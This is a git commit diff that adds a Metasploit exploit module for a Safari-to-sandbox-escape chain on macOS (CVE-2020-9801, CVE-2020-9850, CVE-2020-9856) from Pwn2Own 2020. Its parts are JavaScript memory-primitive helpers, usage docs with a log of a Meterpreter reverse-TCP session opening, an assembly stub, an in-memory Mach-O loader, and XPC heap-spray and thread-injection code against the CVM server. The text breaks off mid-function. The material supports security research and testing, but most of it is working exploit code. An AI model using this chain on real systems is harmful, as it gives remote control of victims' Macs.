Land #13996, Add module for CVE-2020-9801, CVE-2020-9850 and CVE-2020-9856,

RCE for Safari on macOS 10.15.3 (pwn2own2020)

Merge branch 'land-13996' into upstream-master
This commit is contained in:
bwatters
2020-10-01 09:46:39 -05:00
33 changed files with 2178 additions and 60 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -79,17 +79,41 @@ function Int64(v) {
return '0x' + hexlify(Array.from(bytes).reverse());
};
this.lo = function()
{
this.lo = function() {
var b = this.bytes();
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
};
this.hi = function()
{
this.hi = function() {
var b = this.bytes();
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
};
this.asInt32 = function() {
var value = new Int64(0);
for (var i = 0; i < 8; i++) {
if (i < 4) {
value.bytes[i] = this.bytes[i];
} else {
value.bytes[i] = 0;
}
}
return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8));
};
this.asInt16 = function() {
var value = new Int64(0);
for (var i = 0; i < 8; i++) {
if (i < 2) {
value.bytes[i] = this.bytes[i];
} else {
value.bytes[i] = 0;
}
}
return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8));
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
@@ -138,20 +162,44 @@ function Int64(v) {
}, 2);
// this = a ^ b
this.assignXor = operation(function sub(a, b) {
this.assignXor = operation(function xor(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function sub(a, b) {
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2)
}, 2);
// this = a << b
this.assignShiftLeft = operation(function shiftLeft(a, b) {
for (var i = 0; i < 8; i++) {
if (i < b) {
bytes[i] = 0;
} else {
bytes[i] = a.byteAt(Sub(i, b).asInt32());
}
}
return this;
}, 2);
// this = a >> b
this.assignShiftRight = operation(function shiftRight(a, b) {
for (var i = 0; i < 8; i++) {
if (i < (8 - b)) {
bytes[i] = a.byteAt(Add(i, b).asInt32());
} else {
bytes[i] = 0;
}
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
@@ -187,6 +235,16 @@ function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
// Return a << b
function ShiftLeft(a, b) {
return (new Int64()).assignShiftLeft(a, b);
}
// Return a >> b
function ShiftRight(a, b) {
return (new Int64()).assignShiftRight(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
@@ -64,8 +64,6 @@ function b2u32(b)
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
}
function off2addr(segs, off)
{
if(!(off instanceof Int64)) off = new Int64(off);
@@ -138,47 +136,11 @@ function fsyms(mem, base, segs, want, syms)
return syms;
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function _u32(i)
{
return b2u32(this.read(i, 4));
}
function _read(i, l)
{
if (i instanceof Int64) i = i.lo();
if (l instanceof Int64) l = l.lo();
if (i + l > this.length)
{
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
}
return this.slice(i, i + l);
}
function _readInt64(addr)
{
return new Int64(this.read(addr, 8));
}
function _writeInt64(i, val)
{
if (i instanceof Int64) i = i.lo();
this.set(val.bytes(), i);
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
@@ -0,0 +1,79 @@
## Vulnerable Application
This module exploits an incorrect side-effect modeling of the 'in' operator.
The DFG compiler assumes that the 'in' operator is side-effect free, however
the `<embed>` element with the PDF plugin provides a callback that can trigger
side-effects leading to type confusion (CVE-2020-9850).
The type confusion can be used as addrof and fakeobj primitives that then
lead to arbitrary read/write of memory. These primitives allow us to write
shellcode into a JIT region (RWX memory) containing the next stage of the
exploit.
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
and extracts a macOS application containing our payload into /var/db/CVMS.
The payload can then be opened with CVE-2020-9801, executing the payload
as a user but without sandbox restrictions.
## Verification Steps
1. Start `msfconsole`
1. `use exploit/osx/browser/safari_in_operator_side_effect`
1. `set LHOST <tab>`
1. `set SRVHOST <tab>`
1. `exploit`
1. Visit the URL on a vulnerable version of Safari
## Scenarios
### macOS Catalina 10.15.4
```
msf6 > use exploit/osx/browser/safari_in_operator_side_effect
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH /
URIPATH => /
msf6 exploit(osx/browser/safari_in_operator_side_effect) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(osx/browser/safari_in_operator_side_effect) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.4 safari_in_operator_side_effect - Request / from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[+] 192.168.56.4 safari_in_operator_side_effect - Safari version 13.1 appears to be vulnerable
[*] 192.168.56.4 safari_in_operator_side_effect - Request /LmcM.pdf from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.4:49409) at 2020-09-04 15:05:52 +0800
```
### Adding offsets for new versions
Although all macOS versions below 10.15.4 are vulnerable, some versions are not
supported. It may be possible to add support for a vulnerable version by adding
new offsets. The following commands can be used to gather some of these offsets:
```
brew install radare2
r2 /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/JavaScriptCore -2qQ -c 'af; s sym.imp.confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym._confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlsym; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlopen; s'
```
You can then add the offsets to the module:
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
You may also need to adjust the offsets here:
`external/source/exploits/CVE-2020-9850/payload/sbx/safari.mm:53`
Please don't forget to contribute the offsets back to the framework if you have
successfully tested them.
@@ -0,0 +1 @@
/stage0.bin
+20
View File
@@ -0,0 +1,20 @@
all: stage0.bin
make -C payload/loader
make -C payload/sbx
stage0.bin: payload/stage0.asm
nasm -o $@ $<
clean:
rm -f stage0.bin payload.js
make clean -C payload/loader
make clean -C payload/sbx
install:
mkdir -p ../../../../data/exploits/CVE-2020-9850/
cp stage0.bin ../../../../data/exploits/CVE-2020-9850/stage0.bin
cp payload/loader/loader.bin ../../../../data/exploits/CVE-2020-9850/loader.bin
cp payload/sbx/sbx ../../../../data/exploits/CVE-2020-9850/sbx.bin
echo "Installed!"
.PHONY: all clean
+50
View File
@@ -0,0 +1,50 @@
Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities
======================================================================================
Overview
---------
This repository contains exploitation and technical details of [our Pwn2Own
2020 winning submission targeting Apple Safari with a kernel escalation
of privilege for macOS 10.15.3](https://www.thezdi.com/blog/2020/3/17/welcome-to-pwn2own-2020-the-schedule-and-live-results).
For further information, you can also check [our Blackhat USA 2020
slides](https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf).
This repository also includes [our demo video](./movie.mov) for the succesful
exploitation.
Build from source
-----------------
```shell
# Install xcode first
$ python3 -m pip install --user "lief==0.10.1"
$ make
```
Authors
-------
- Yonghwi Jin (jinmoteam@gmail.com)
- Jungwon Lim (setuid0@protonmail.com)
- Insu Yun (insu@gatech.edu)
- Taesoo Kim (taesoo@gatech.edu)
Citation
--------
```txt
@inproceedings{jin:pwn2own2020-safari,
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
booktitle = {Black Hat USA Briefings (Black Hat USA)},
month = aug,
year = 2020,
address = {Las Vegas, NV},
}
```
Reference
---------
- https://github.com/sslab-gatech/pwn2own2020
- https://github.com/saelo/pwn2own2018
- https://github.com/LinusHenze/WebKit-RegEx-Exploit
- https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
- https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
@@ -0,0 +1,2 @@
/loader.bin
/libloader.dylib
@@ -0,0 +1,14 @@
CXXFLAGS := -fno-stack-protector -Os -DCURRENT_DIR=\"$(CURDIR)\" -std=c++17 -shared -fpic
all: loader.bin
loader.bin: libloader.dylib
./make.py $^ $@
libloader.dylib: loader.cpp entry.s
$(CXX) $(CXXFLAGS) $< -o $@
clean:
rm loader.bin libloader.dylib
.PHONY: all clean
@@ -0,0 +1,93 @@
.intel_syntax noprefix
.globl _dlopen_ptr
.globl _dlsym_ptr
lea rcx, [rbp+0x10]
mov rax, [rbp+0x8]
mov rdi, [rax+0x10]
mov rax, [rsp] // return address
sub rax, [rip+JSC_llint_entry_call_offset]
mov r9, rax // [scratch] r9 = JavaScriptCore.__TEXT.__text
add rax, [rip+JSC_confstr_stub_offset]
xor rbx, rbx
mov ebx, [rax + 2]
add rax, rbx
add rax, 6
mov rax, [rax]
sub rax, [rip+libsystem_c_confstr_offset]
mov r10, rax // [scratch] r10 = libsystem_c base
mov rax, r10
add rax, [rip+libsystem_c_dlopen_stub_offset]
mov rsi, rax
mov rax, r10
add rax, [rip+libsystem_c_dlsym_stub_offset]
mov rdx, rax
call _main
ret
_main:
push rbp
mov rbp, rsp
push r14
push r15
and rsp, ~0xf
mov [rip+_dlopen_ptr], rsi
mov [rip+_dlsym_ptr], rdx
// rdi == library base pointer (mach-o header)
// rsi == argv
mov rsi, rcx
call _load
lea rsp, [rbp - 0x10]
pop r15
pop r14
pop rbp
ret
_mmap:
push rbp
mov rbp, rsp
push r15
push r14
push r12
push rbx
mov eax, 0x20000C5
mov r10, rcx
syscall
pop rbx
pop r12
pop r14
pop r15
pop rbp
ret
_dlopen_ptr: .quad 0
_dlsym_ptr: .quad 0
JSC_confstr_stub_offset: .quad 0x0FF5370041414141
JSC_llint_entry_call_offset: .quad 0x0FF5370041414142
libsystem_c_confstr_offset: .quad 0x0FF5370041414143
libsystem_c_dlopen_stub_offset: .quad 0x0FF5370041414144
libsystem_c_dlsym_stub_offset: .quad 0x0FF5370041414145
//10.15.3
//JSC_confstr_stub_offset: .quad 0xE7D8B4
//JSC_llint_entry_call_offset: .quad 0x00361f13
//libsystem_c_confstr_offset: .quad 0x00002644
//libsystem_c_dlopen_stub_offset: .quad 0x80430
//libsystem_c_dlsym_stub_offset: .quad 0x80436
//10.15.4
//JSC_confstr_stub_offset: .quad 0xF96446
//JSC_llint_entry_call_offset: .quad 0x00380a1d
//libsystem_c_confstr_offset: .quad 0x00002be4
//libsystem_c_dlopen_stub_offset: .quad 0x8021e
//libsystem_c_dlsym_stub_offset: .quad 0x80224
@@ -0,0 +1,292 @@
#include <mach-o/loader.h>
#include <stdio.h>
#include <sys/mman.h>
#include <dlfcn.h>
#define printf(...)
#define setvbuf(...)
extern void *(*dlopen_ptr)(const char *path, int mode);
extern void *(*dlsym_ptr)(void *handle, const char *symbol);
__asm__(".include \"" CURRENT_DIR "/entry.s\"");
inline void exit(int n) {
printf("%d\n", n);
}
inline void memcpy(void *dst, void *src, size_t n) {
char *dst_ = (char *)dst, *src_ = (char *)src;
while(n--)
*dst_++ = *src_++;
}
inline int memcmp(void *dst, void *src, size_t n) {
char *dst_ = (char *)dst, *src_ = (char *)src;
while(n--) if(*dst_++ != *src_++) return 1;
return 0;
}
inline uint64_t read_uleb128(uint8_t*& p, uint8_t* end)
{
uint64_t result = 0;
int bit = 0;
do {
if ( p == end ) {
exit(1);
break;
}
uint64_t slice = *p & 0x7f;
if ( bit > 63 ) {
exit(2);
break;
}
else {
result |= (slice << bit);
bit += 7;
}
}
while (*p++ & 0x80);
return result;
}
inline void vm_(uint64_t base, void **libs, load_command **commands, void *mem, uint8_t *cmd, size_t size) {
uint8_t *p = cmd, *end = cmd + size;
int ordinal = 0, libIndex = 0;
const char *symbolName;
bool done = false;
uint8_t segIndex;
uintptr_t segOffset;
off_t offset;
int type;
// ported from dyld
while ( !done && (p < end) ) {
uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
uint8_t opcode = *p & BIND_OPCODE_MASK;
++p;
switch (opcode) {
case BIND_OPCODE_DONE:
break;
case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
libIndex = immediate;
break;
case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
libIndex = (int)read_uleb128(p, end);
break;
case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
// the special ordinals are negative numbers
if ( immediate == 0 )
ordinal = 0;
else {
int8_t signExtended = BIND_OPCODE_MASK | immediate;
ordinal = signExtended;
}
break;
case BIND_OPCODE_ADD_ADDR_ULEB:
segOffset += read_uleb128(p, end);
break;
case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
symbolName = (char*)p;
while (*p != '\0')
++p;
++p;
break;
case BIND_OPCODE_SET_TYPE_IMM:
type = immediate;
break;
case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
segIndex = immediate;
segOffset = read_uleb128(p, end);
break;
case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB: {
uint64_t count = read_uleb128(p, end);
uint64_t skip = read_uleb128(p, end);
segOffset += count * (skip + sizeof(intptr_t));
break;
}
case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
case BIND_OPCODE_DO_BIND: {
void *res = dlsym_ptr(libs[libIndex], symbolName + 1);
offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
printf("%llx (+%lx) %s %d\n", offset, segOffset, symbolName, type);
printf("dlsym(libs[%d] == %p, \"%s\") == %p\n", libIndex, libs[libIndex], symbolName + 1, res);
if(symbolName[0] == '_')
*(void **)((char *)mem + offset) = res;
// if not, it's from dyld I guess
segOffset += 8;
if(opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED)
segOffset += immediate * 8;
break;
}
default:
printf("WARNING: unsupported command: 0x%x\n", opcode);
// exit(-1);
}
}
}
inline void rebase_vm_(uint64_t base, void **libs, load_command **commands, void *map, uint8_t *cmd, size_t size) {
uint8_t *p = cmd, *end = cmd + size;
uint8_t type = 0;
int segIndex = 0;
uint64_t segOffset = 0;
uint64_t count;
uint64_t skip;
bool segIndexSet = false;
bool stop = false;
int ptrSize = 8;
while ( !stop && (p < end) ) {
uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
uint8_t opcode = *p & REBASE_OPCODE_MASK;
++p;
switch (opcode) {
case REBASE_OPCODE_DONE:
if ( (end - p) > 8 )
exit(100);
stop = true;
break;
case REBASE_OPCODE_SET_TYPE_IMM:
type = immediate;
break;
case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
segIndex = immediate;
segOffset = read_uleb128(p, end);
segIndexSet = true;
break;
case REBASE_OPCODE_ADD_ADDR_ULEB:
segOffset += read_uleb128(p, end);
break;
case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
segOffset += immediate*ptrSize;
break;
case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
if(opcode == REBASE_OPCODE_DO_REBASE_IMM_TIMES)
count = immediate;
else
count = read_uleb128(p, end);
for (uint32_t i=0; i < count; ++i) {
uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
printf("rebase %lx (+%llx)\n", offset, segOffset);
*(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base);
segOffset += ptrSize;
}
break;
case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB: {
uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
printf("rebase %lx (+%llx)\n", offset, segOffset);
*(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base);
segOffset += read_uleb128(p, end) + ptrSize;
break;
}
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
count = read_uleb128(p, end);
skip = read_uleb128(p, end);
for (uint32_t i=0; i < count; ++i) {
uintptr_t offset = ((segment_command_64 *)commands[segIndex])->vmaddr + segOffset - base;
printf("rebase %lx (+%llx)\n", offset, segOffset);
*(uintptr_t *)((uintptr_t)map + offset) += ((uintptr_t)map - base);
segOffset += skip + ptrSize;
if ( stop )
break;
}
break;
default:
exit(101);
}
}
}
#define vm(offset, size) vm_(base, libs, commands, map, (uint8_t *)mem + offset, size)
#define rebase_vm(offset, size) rebase_vm_(base, libs, commands, map, (uint8_t *)mem + offset, size)
extern "C" void load(void *mem, void *args) {
setvbuf(stdout, 0, _IONBF, 0);
mach_header *header = (mach_header *)mem;
load_command* startCmds = (load_command*)((char *)header + sizeof(mach_header_64));
load_command *cmd;
printf("%x %x\n", header->magic, MH_MAGIC_64);
size_t highest_address = 0;
load_command *commands[0x80];
void *libs[0x80 + 1];
int libCount = 1;
uint64_t base = 0;
char pagezero[] = "__PAGEZERO";
#define LC cmd = startCmds; for (uint32_t i = 0; i < header->ncmds; ++i, cmd = (load_command*)((char *)cmd + cmd->cmdsize))
LC {
if(cmd->cmd != LC_SEGMENT_64) continue;
auto seg = (segment_command_64 *)cmd;
size_t end = seg->vmaddr + seg->vmsize;
if(!memcmp(seg->segname, (void *)pagezero, 11))
base = seg->vmsize;
if(highest_address < end) {
highest_address = end;
}
commands[i] = cmd;
}
highest_address -= base;
commands[header->ncmds] = 0;
printf("%lx\n", highest_address);
void *map = mmap(NULL, highest_address, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE|MAP_JIT, -1, 0);
uint64_t entry = 0;
dysymtab_command *symtab;
LC {
if(cmd->cmd == LC_SEGMENT_64) {
auto seg = (segment_command_64 *)cmd;
memcpy((char *)map + seg->vmaddr - base, (char *)mem + seg->fileoff, seg->filesize);
}
if(cmd->cmd == 0x80000028) {
auto entrycmd = (entry_point_command *)cmd;
entry = entrycmd->entryoff;
}
if(cmd->cmd == LC_SYMTAB) {
symtab = (dysymtab_command *)cmd;
}
if(cmd->cmd == LC_LOAD_DYLIB) {
auto dylib = (dylib_command *)cmd;
libs[libCount++] = dlopen_ptr((const char *)dylib + dylib->dylib.name.offset, RTLD_LAZY);
}
}
LC {
printf("cmd: %x\n", cmd->cmd);
if(cmd->cmd == LC_DYLD_INFO_ONLY) {
auto dyld = (dyld_info_command *)cmd;
rebase_vm(dyld->rebase_off, dyld->rebase_size);
vm(dyld->bind_off, dyld->bind_size);
vm(dyld->lazy_bind_off, dyld->lazy_bind_size);
}
}
if(!entry) {
for(size_t i = 0; i < highest_address; i++) {
int *cur = (int *)((char *)map + i);
if(cur[0] == 0x13371337) {
entry = i + 16;
printf("%lx %llx\n", i, entry);
break;
}
}
}
entry += (uint64_t)map;
printf("%p\n", (void *)entry);
((void (*)(int, void *))(entry))(1, args);
}
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python3
import lief
import sys
p = lief.parse(sys.argv[1])
loader = bytes(p.get_section('__text').content)
open(sys.argv[2], 'wb').write(loader)
@@ -0,0 +1,8 @@
/threadexec
/WebKit
/bundle.hh
/sbx
/sbx.dSYM
/cvm_side
@@ -0,0 +1,37 @@
# Copy flags from WebKit
SBX_INCLUDES := -Ithreadexec/include \
-IWebKit/Source/WebCore/platform/network/cf \
-IWebKit/Source/WebCore/platform/network \
-IWebKit/Source/WTF \
-IWebKit/Source/WTF/icu
SBX_WEBKIT_FLAGS := -fmessage-length=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit=0 -std=gnu++1z -stdlib=libc++ -Wno-trigraphs -fno-exceptions -fno-rtti -fno-sanitize=vptr -fpascal-strings -O3 -fno-common -Wno-missing-field-initializers -Wunreachable-code -Wnon-virtual-dtor -Wno-overloaded-virtual -Wno-exit-time-destructors -Wno-missing-braces -Wparentheses -Wswitch -Wunused-function -Wno-unused-label -Wno-unused-parameter -Wunused-value -Wempty-body -Wuninitialized -Wno-unknown-pragmas -Wno-shadow -Wno-four-char-constants -Wno-conversion -Wconstant-conversion -Wint-conversion -Wbool-conversion -Wenum-conversion -Wno-float-conversion -Wnon-literal-null-conversion -Wobjc-literal-conversion -Wsign-compare -Wno-shorten-64-to-32 -Wnewline-eof -Wno-c++11-extensions -DNDEBUG -DU_DISABLE_RENAMING=1 -DU_SHOW_CPLUSPLUS_API=0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -fasm-blocks -fstrict-aliasing -Wdeprecated-declarations -Winvalid-offsetof -g -fvisibility=hidden -fvisibility-inlines-hidden -fno-threadsafe-statics -Wno-sign-conversion -Winfinite-recursion -Wmove -Wcomma -Wblock-capture-autoreleasing -Wstrict-prototypes -Wrange-loop-analysis -Wno-semicolon-before-method-body -isystem /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/usr/local/include
SBX_CXXFLAGS = $(SBX_INCLUDES) $(SBX_WEBKIT_FLAGS) \
-DCURRENT_DIR=\"$(CURDIR)\" \
SBX_LDFLAGS = \
-target x86_64-apple-macos10.15 \
-framework JavaScriptCore \
-framework CoreFoundation \
-framework Foundation \
-Lthreadexec/lib \
-lthreadexec
all: cvm_side sbx
cvm_side: cvm_side.cc
make -C root
./embed.py root/app > bundle.hh
$(CXX) -o $@ $<
sbx: safari.mm cvm.cc
./build-threadexec.sh
./build-webkit.sh
$(CXX) $(SBX_CXXFLAGS) -o $@ $^ $(SBX_LDFLAGS)
clean:
make clean -C root
rm -f cvm_side sbx
.PHONY: all clean
+7
View File
@@ -0,0 +1,7 @@
#!/bin/bash
git clone https://github.com/bazad/threadexec.git
cd threadexec
git checkout 7c255d0a0d63464b82315d93a27dddc1d51b42d6
patch -p1 --forward < ../threadexec.diff
make
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
if [ ! -e WebKit ]; then
svn checkout -r 254377 --depth empty https://svn.webkit.org/repository/webkit/tags/Safari-608.5.11/Source/ WebKit/Source
cd WebKit/Source
svn update --set-depth empty WebCore WebCore/platform
svn update --set-depth infinity WebCore/platform/network WTF
fi
@@ -0,0 +1,484 @@
#include <sandbox.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <xpc/xpc.h>
#include <time.h>
#include <mach/mach.h>
#include <mach/thread_status.h>
#if __cplusplus
extern "C" {
#endif
#include <threadexec/threadexec.h>
#if __cplusplus
}
#endif
#include <CommonCrypto/CommonDigest.h>
#include <sys/stat.h>
#include <mach-o/dyld.h>
#include <dlfcn.h>
#define _XOPEN_SOURCE
#include <ucontext.h>
#define PATHRAND 128
#ifdef __cplusplus
extern "C" {
#endif
int sandbox_init_with_parameters(const char *profile,
uint64_t flags,
const char *const parameters[],
char **errorbuf);
mach_port_t _xpc_dictionary_extract_mach_send(xpc_object_t, char const *);
#ifdef __cplusplus
}
#endif
#define TRIAL 0x1000
#define PLUGIN_NAME "/System/Library/Frameworks/OpenGL.framework/Libraries/libGLVMPlugin.dylib"
char prefix[0x100];
char *tmpdir;
char *conf(int id) {
char buf[0x400];
char buf2[0x400];
if(confstr(id, buf, sizeof(buf)) && realpath(buf, buf2)) {
printf("%d: %s\n", id, buf2);
} else {
puts("conf failed");
return NULL;
}
strcat(buf2, "/");
return strdup(buf2);
}
char data_exp[0x1000];
int data_exp_size = sizeof(data_exp);
struct {
uint64_t lib_size;
uint64_t bitcode_size;
uint64_t plugin_size;
uint8_t hash[32];
uint32_t revision;
uint32_t flags;
uint32_t count;
uint16_t loadable;
uint16_t bitcode_offset;
uint16_t plugin_offset;
uint16_t entry_offset;
char pad[4];
size_t pointers[0x12];
} maps_exp_ = {
.lib_size=UINT64_MAX,
.bitcode_size=0,
.plugin_size=UINT64_MAX,
.hash={},
.revision=20120507,
.flags=0x31A,
.count=0,
.loadable=1,
.bitcode_offset=0,
.plugin_offset=0,
.entry_offset=0x30
};
char *maps_exp = (char *)&maps_exp_;
long maps_exp_size = sizeof(maps_exp_);
xpc_object_t mem_descriptor(void *mem, size_t size, size_t offset_in_page, size_t real_size, bool trigger) {
xpc_object_t elements[3] = {
xpc_shmem_create(mem, size),
xpc_uint64_create(offset_in_page),
xpc_uint64_create(real_size)
};
if(trigger) ((long *)elements[0])[4] = offset_in_page - 1;
return xpc_array_create(elements, 3);
}
const char *serviceName = "com.apple.cvmsServ";
void my_error(const char *name) {
printf("error: %s\n", name);
}
xpc_connection_t connect(bool create) {
xpc_connection_t conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
if (conn == NULL) {
my_error("xpc_connection_create_mach_service");
exit(1);
}
xpc_connection_set_event_handler(conn, ^(xpc_object_t) {
// printf("Received message in generic event handler: %p\n", obj);
// printf("%s\n", xpc_copy_description(obj));
});
xpc_connection_resume(conn);
if(create) {
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(msg, "message", 1);
xpc_connection_send_message(conn, msg);
// usleep(20000);
}
return conn;
}
char *pad(int size, int i) {
static char value[0x10000];
// char *value = (char *)mmap(NULL, ((size + 1) + 0xfff) & ~0xfff, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
int start = sprintf(value, "0x%x", i);
memset(value + start, 0x41, size);
value[size] = '\0';
return value;
}
void spray_value(xpc_object_t msg) {
xpc_dictionary_set_value(msg, "ey", xpc_fd_create(0));
if(true) {
// prepare *neighboring* chunks which fills the freelist
xpc_object_t subdict = xpc_dictionary_create(NULL, NULL, 0);
for(int i = 0; i < 0x500; i++) {
xpc_dictionary_set_value(subdict, pad(0x50 - 41, i), xpc_bool_create(true));
}
xpc_dictionary_set_value(msg, "free", subdict);
}
// lets spoof deserializer to free the first "free" key
xpc_dictionary_set_value(msg, "fref", xpc_bool_create(true));
static bool seen_free = false;
xpc_dictionary_apply(msg, ^bool(const char *key, xpc_object_t) {
if(!strcmp(key, "free")) {
seen_free = true;
}
if(!memcmp(key, "fre", 3) && key[3] != 'e') {
if(!seen_free) {
puts("check other key!");
exit(1);
}
memcpy((void *)key, "free", 4);
}
return true;
});
}
xpc_object_t init_msg;
xpc_connection_t spray() {
xpc_connection_t conn = connect(false);
xpc_object_t msg;
msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(msg, "message", 1);
spray_value(msg);
xpc_connection_send_message(conn, msg);
// usleep(20000);
xpc_dictionary_set_int64(msg, "message", 4);
char buf[0x1000];
strcpy(buf, "../../../../");
strcat(buf, tmpdir);
for(int i = 0; i < PATHRAND; i++)
strcat(buf, (rand() % 2) ? "./" : "//");
strcat(buf, "spray");
strcat(buf, prefix);
xpc_dictionary_set_string(init_msg, "framework_name", buf);
xpc_connection_send_message_with_reply(conn, init_msg, NULL, ^(xpc_object_t) {
puts("spraying...");
});
// xpc_release(conn);
return conn;
}
uint64_t heap_index;
vm_address_t allocate(mach_port_t port, size_t size, void **map) {
vm_prot_t PROTECTION = VM_PROT_READ | VM_PROT_WRITE;
vm_address_t address = 0;
if(vm_allocate(port, &address, size, true)) {
my_error("vm_allocate");
exit(1);
}
if(map) {
mach_port_t handle;
if(mach_make_memory_entry_64(port, (memory_object_size_t *)&size, address, PROTECTION | 0x400000, &handle, 0)) {
my_error("mach_make_memory_entry_64");
exit(1);
}
if(vm_map(mach_task_self(), (vm_address_t *)map, size, 0, 1, handle, 0, false, PROTECTION, PROTECTION, VM_INHERIT_NONE)) {
my_error("vm_map");
exit(1);
}
}
return address;
}
bool vm_read_chk(vm_map_t target_task, size_t address, void *data, vm_size_t size) {
mach_msg_type_number_t outCnt;
memset(data, 0, size);
vm_address_t dataPtr;
if(vm_read(target_task, address, size, &dataPtr, &outCnt)) {
puts("error: vm_read");
return false;
}
// printf("vm_read(%p, 0x%x): 0x%x\n", address, size, outCnt);
memcpy(data, (void *)dataPtr, outCnt);
vm_deallocate(mach_task_self(), dataPtr, outCnt);
return true;
}
__asm__(".data\n_loader_start: .incbin \"" CURRENT_DIR "/../loader/loader.bin\"\n_loader_end:");
__asm__(".data\n_library_start: .incbin \"" CURRENT_DIR "/../sbx/cvm_side\"\n_library_end:");
extern char loader_start[], loader_end[];
extern char library_start[], library_end[];
void spoof(mach_port_t port) {
thread_act_array_t threads;
mach_msg_type_number_t count;
task_threads(port, &threads, &count);
printf("threads: %d\n", count);
static bool first = true;
threadexec_t tx = threadexec_init(port, threads[1], TX_BORROW_THREAD_PORT | (first ? TX_SUSPEND : 0));
puts("yey");
size_t res = -1, res2 = -1;
threadexec_call_cv(tx, &res, sizeof(res), (void *)&mmap,
6,
